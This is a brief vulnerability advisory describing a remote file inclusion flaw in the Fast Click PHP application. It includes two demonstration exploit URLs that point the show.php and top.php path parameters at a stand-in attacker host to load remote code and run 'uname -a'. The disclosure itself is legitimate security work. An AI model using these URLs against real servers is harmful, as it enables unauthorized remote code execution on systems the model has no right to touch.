Description:   R@1D3N (amin emami) reported a vulnerability in Fast Click. A remote user can include and execute arbitrary code on the target system.

The PHP code, including operating system commands, will run with the privileges of the target web service.

Some demonstration exploit URLs are provided:

http://[target]/[path]/show.php?path=http://[attacker]/cmd.gif?&cmd=uname -a
http://[target]/[path]/top.php?path=http://[attacker]/cmd.gif?&cmd=uname -a
